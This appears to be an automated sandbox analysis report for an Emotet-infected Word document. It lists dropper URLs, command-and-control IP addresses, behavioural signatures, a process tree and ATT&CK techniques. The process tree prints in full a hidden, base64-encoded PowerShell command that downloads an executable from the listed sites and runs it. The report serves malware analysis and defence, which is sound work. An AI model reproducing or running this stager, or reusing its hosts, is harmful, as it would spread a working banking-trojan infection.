Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    27-01-2020 23:02

Sharing

Copy URL
Twitter E-mail

General

  • Target

    8b7ef999bd43bd5a7ba58037188e99f78c17edb4637473f61f8be3d7270f7906.doc

  • Sample

    200127-a3xagcraws

  • SHA256

    8b7ef999bd43bd5a7ba58037188e99f78c17edb4637473f61f8be3d7270f7906

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://camnangtrithuc.com/wp-admin/rysO51/
exe.dropper

http://srgasia.com.my/wp-content/vmcG8715/
exe.dropper

https://www.amedspor.com.tr/trsss/2aCO1Gkwg/
exe.dropper

https://uklid.ir/cgi-bin/8v/
exe.dropper

https://bffanmiefan.tk/cgi-bin/wYvv84846/

Extracted

Family

emotet

C2

190.6.193.152:8080

200.69.224.73:80

146.255.96.214:443

74.50.51.115:7080

184.172.27.82:8080

68.183.170.114:8080

45.79.95.107:443

190.210.184.138:995

200.58.83.179:80

113.190.254.245:80

181.29.101.13:8080

185.86.148.222:8080

186.200.205.170:80

139.47.135.215:80

62.75.160.178:8080

190.219.149.236:80

190.210.236.139:80

190.100.153.162:443

91.74.175.46:80

175.139.209.3:8080
rsa_pubkey.plain

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8b7ef999bd43bd5a7ba58037188e99f78c17edb4637473f61f8be3d7270f7906.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4948
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABPAG4AbQB6AGMAeQB2AGoAZQBvAG8APQAnAFMAegBmAHMAcQBxAGYAcQB1AHUAZQBrAHMAJwA7ACQARwBtAHcAagBiAGwAcwBrAGoAbwB5ACAAPQAgACcANQA1ADQAJwA7ACQATgBmAHoAdgBpAG8AZgBsAD0AJwBVAHQAZwBiAHkAaABpAGMAdAB0ACcAOwAkAFgAdAB5AHIAdwBkAHMAeABvAG0AcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBtAHcAagBiAGwAcwBrAGoAbwB5ACsAJwAuAGUAeABlACcAOwAkAFgAaQBxAHkAdAB0AGkAbwBrAGoAZwA9ACcASQBwAGUAcgBkAHUAdABjAGcAdwBsACcAOwAkAEoAYgB4AGgAawBuAHIAcQBoAHAAdgBwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAGUATgBUADsAJABTAHcAeQBjAHgAYgBoAG4AcwB2AD0AJwBoAHQAdABwADoALwAvAGMAYQBtAG4AYQBuAGcAdAByAGkAdABoAHUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcgB5AHMATwA1ADEALwAqAGgAdAB0AHAAOgAvAC8AcwByAGcAYQBzAGkAYQAuAGMAbwBtAC4AbQB5AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHYAbQBjAEcAOAA3ADEANQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBtAGUAZABzAHAAbwByAC4AYwBvAG0ALgB0AHIALwB0AHIAcwBzAHMALwAyAGEAQwBPADEARwBrAHcAZwAvACoAaAB0AHQAcABzADoALwAvAHUAawBsAGkAZAAuAGkAcgAvAGMAZwBpAC0AYgBpAG4ALwA4AHYALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGYAZgBhAG4AbQBpAGUAZgBhAG4ALgB0AGsALwBjAGcAaQAtAGIAaQBuAC8AdwBZAHYAdgA4ADQAOAA0ADYALwAnAC4AIgBTAFAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAdwBiAHEAdgB2AHcAdwBoAHIAZQBqAD0AJwBEAGIAegBrAG4AegBrAHAAcwBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABDAGgAYwBpAHUAZwBiAGcAYQB0AHQAYQAgAGkAbgAgACQAUwB3AHkAYwB4AGIAaABuAHMAdgApAHsAdAByAHkAewAkAEoAYgB4AGgAawBuAHIAcQBoAHAAdgBwAC4AIgBkAE8AVwBuAGAATABgAG8AYQBkAGYASQBMAEUAIgAoACQAQwBoAGMAaQB1AGcAYgBnAGEAdAB0AGEALAAgACQAWAB0AHkAcgB3AGQAcwB4AG8AbQBzACkAOwAkAFoAbQBvAHIAbABmAG8AYQB4AG0AbQA9ACcASwBrAHUAYgB4AGEAaABpAGgAcQBiACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWAB0AHkAcgB3AGQAcwB4AG8AbQBzACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgA1ADAANQA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABgAEEAcgBUACIAKAAkAFgAdAB5AHIAdwBkAHMAeABvAG0AcwApADsAJABLAGkAZgBkAHgAZgBmAHcAawBpAHEAZgB6AD0AJwBPAHIAbwBnAHYAYwBvAHAAbwB2AGQAZAAnADsAYgByAGUAYQBrADsAJABXAG4AawB6AGgAZQBzAHIAaQBvAG8APQAnAEEAbQBrAHMAYQBtAG8AdAB5AG0AYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABWAHMAcgBoAHUAYgB5AGYAbwB2AGYAZgA9ACcAQgB3AGkAegBzAG0AbwBvAGQAZQBkACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Users\Admin\554.exe
      "C:\Users\Admin\554.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      • Suspicious use of SetWindowsHookEx
      PID:4756
      • C:\Users\Admin\554.exe
        --c5cc5a52
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        PID:4404

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\554.exe
    Download Submit
  • C:\Users\Admin\554.exe
    Download Submit
  • C:\Users\Admin\554.exe
    Download Submit
  • memory/4404-10-0x00000000022E0000-0x00000000022F6000-memory.dmp
    Filesize

    88KB

    Download
  • memory/4404-11-0x0000000000400000-0x000000000045B000-memory.dmp
    Filesize

    364KB

    Download
  • memory/4756-8-0x00000000007B0000-0x00000000007C6000-memory.dmp
    Filesize

    88KB

    Download